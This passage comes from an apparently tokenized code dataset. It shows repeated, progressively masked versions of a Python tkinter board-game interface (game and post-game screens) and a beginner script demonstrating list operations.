self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n <function token>\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n <function token>\n <function token>\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<code token>\n"
] | false |
9,935 |
1c134cba779459b57f1f3c195aed37d105b94aef
|
# wfp, 6/6
# simple list stuff
my_list = [1,'a',3.14]
print("my_list consists of: ",my_list)
print()
print("Operations similar to strings")
print("Concatenation")
print("my_list + ['bill'] equals: ", my_list + ["bill"])
print()
print("Repeat")
print("my_list * 3 equals: ", my_list * 3)
print()
print("Indexing")
print("1st element is my_list[0]: ",my_list[0])
print("last element is my_list[-1]: ", my_list[-1])
print()
print("Slicing")
print("First two elements are my_list[0:2]: ",my_list[0:2])
print("Last two elements are my_list[-2:]: ",my_list[-2:])
print("Slice assignment, my_list[:2]=[]: ")
my_list[:2] = []
print("my_list is: ",my_list)
print()
print("Length")
print("Length is len(my_list): ",len(my_list))
print()
print("New stuff, which modifies the list (not for strings)")
print("Append element to the end, my_list.append(True): ")
my_list.append(True)
print("my_list is: ",my_list)
print("Append list into the list, my_list.append([5,6]): ")
my_list.append([5,6])
print("my_list is: ",my_list)
print()
print("Extend, can append all elements in a list")
print("Extend single element to the end, my_list.extend('z'): ")
my_list.extend('z')
print("my_list is: ",my_list)
print("Extend a list of elements, my_list.extend([5,6,7]): ")
my_list.extend([5,6,7])
print("my_list is: ",my_list)
print()
print("Delete elements")
print("Delete the first element, del my_list[0]: ")
del(my_list[0])
print("my_list is: ",my_list)
print("Delete last 4 elements, del my_list[-4:]: ")
del(my_list[-4:])
print("my_list is: ",my_list)
|
[
"# wfp, 6/6\r\n# simple list stuff\r\n\r\nmy_list = [1,'a',3.14]\r\nprint(\"my_list consists of: \",my_list)\r\nprint()\r\n\r\nprint(\"Operations similar to strings\")\r\nprint(\"Concatenation\")\r\nprint(\"my_list + ['bill'] equals: \", my_list + [\"bill\"])\r\nprint()\r\nprint(\"Repeat\")\r\nprint(\"my_list * 3 equals: \", my_list * 3)\r\nprint()\r\nprint(\"Indexing\")\r\nprint(\"1st element is my_list[0]: \",my_list[0])\r\nprint(\"last element is my_list[-1]: \", my_list[-1])\r\nprint()\r\nprint(\"Slicing\")\r\nprint(\"First two elements are my_list[0:2]: \",my_list[0:2])\r\nprint(\"Last two elements are my_list[-2:]: \",my_list[-2:])\r\nprint(\"Slice assignment, my_list[:2]=[]: \")\r\nmy_list[:2] = []\r\nprint(\"my_list is: \",my_list)\r\nprint()\r\nprint(\"Length\")\r\nprint(\"Length is len(my_list): \",len(my_list))\r\nprint()\r\nprint(\"New stuff, which modifies the list (not for strings)\")\r\nprint(\"Append element to the end, my_list.append(True): \")\r\nmy_list.append(True)\r\nprint(\"my_list is: \",my_list)\r\nprint(\"Append list into the list, my_list.append([5,6]): \")\r\nmy_list.append([5,6])\r\nprint(\"my_list is: \",my_list)\r\nprint()\r\nprint(\"Extend, can append all elements in a list\")\r\nprint(\"Extend single element to the end, my_list.extend('z'): \")\r\nmy_list.extend('z')\r\nprint(\"my_list is: \",my_list)\r\nprint(\"Extend a list of elements, my_list.extend([5,6,7]): \")\r\nmy_list.extend([5,6,7])\r\nprint(\"my_list is: \",my_list)\r\nprint()\r\nprint(\"Delete elements\")\r\nprint(\"Delete the first element, del my_list[0]: \")\r\ndel(my_list[0])\r\nprint(\"my_list is: \",my_list)\r\nprint(\"Delete last 4 elements, del my_list[-4:]: \")\r\ndel(my_list[-4:])\r\nprint(\"my_list is: \",my_list)\r\n",
"my_list = [1, 'a', 3.14]\nprint('my_list consists of: ', my_list)\nprint()\nprint('Operations similar to strings')\nprint('Concatenation')\nprint(\"my_list + ['bill'] equals: \", my_list + ['bill'])\nprint()\nprint('Repeat')\nprint('my_list * 3 equals: ', my_list * 3)\nprint()\nprint('Indexing')\nprint('1st element is my_list[0]: ', my_list[0])\nprint('last element is my_list[-1]: ', my_list[-1])\nprint()\nprint('Slicing')\nprint('First two elements are my_list[0:2]: ', my_list[0:2])\nprint('Last two elements are my_list[-2:]: ', my_list[-2:])\nprint('Slice assignment, my_list[:2]=[]: ')\nmy_list[:2] = []\nprint('my_list is: ', my_list)\nprint()\nprint('Length')\nprint('Length is len(my_list): ', len(my_list))\nprint()\nprint('New stuff, which modifies the list (not for strings)')\nprint('Append element to the end, my_list.append(True): ')\nmy_list.append(True)\nprint('my_list is: ', my_list)\nprint('Append list into the list, my_list.append([5,6]): ')\nmy_list.append([5, 6])\nprint('my_list is: ', my_list)\nprint()\nprint('Extend, can append all elements in a list')\nprint(\"Extend single element to the end, my_list.extend('z'): \")\nmy_list.extend('z')\nprint('my_list is: ', my_list)\nprint('Extend a list of elements, my_list.extend([5,6,7]): ')\nmy_list.extend([5, 6, 7])\nprint('my_list is: ', my_list)\nprint()\nprint('Delete elements')\nprint('Delete the first element, del my_list[0]: ')\ndel my_list[0]\nprint('my_list is: ', my_list)\nprint('Delete last 4 elements, del my_list[-4:]: ')\ndel my_list[-4:]\nprint('my_list is: ', my_list)\n",
"<assignment token>\nprint('my_list consists of: ', my_list)\nprint()\nprint('Operations similar to strings')\nprint('Concatenation')\nprint(\"my_list + ['bill'] equals: \", my_list + ['bill'])\nprint()\nprint('Repeat')\nprint('my_list * 3 equals: ', my_list * 3)\nprint()\nprint('Indexing')\nprint('1st element is my_list[0]: ', my_list[0])\nprint('last element is my_list[-1]: ', my_list[-1])\nprint()\nprint('Slicing')\nprint('First two elements are my_list[0:2]: ', my_list[0:2])\nprint('Last two elements are my_list[-2:]: ', my_list[-2:])\nprint('Slice assignment, my_list[:2]=[]: ')\n<assignment token>\nprint('my_list is: ', my_list)\nprint()\nprint('Length')\nprint('Length is len(my_list): ', len(my_list))\nprint()\nprint('New stuff, which modifies the list (not for strings)')\nprint('Append element to the end, my_list.append(True): ')\nmy_list.append(True)\nprint('my_list is: ', my_list)\nprint('Append list into the list, my_list.append([5,6]): ')\nmy_list.append([5, 6])\nprint('my_list is: ', my_list)\nprint()\nprint('Extend, can append all elements in a list')\nprint(\"Extend single element to the end, my_list.extend('z'): \")\nmy_list.extend('z')\nprint('my_list is: ', my_list)\nprint('Extend a list of elements, my_list.extend([5,6,7]): ')\nmy_list.extend([5, 6, 7])\nprint('my_list is: ', my_list)\nprint()\nprint('Delete elements')\nprint('Delete the first element, del my_list[0]: ')\ndel my_list[0]\nprint('my_list is: ', 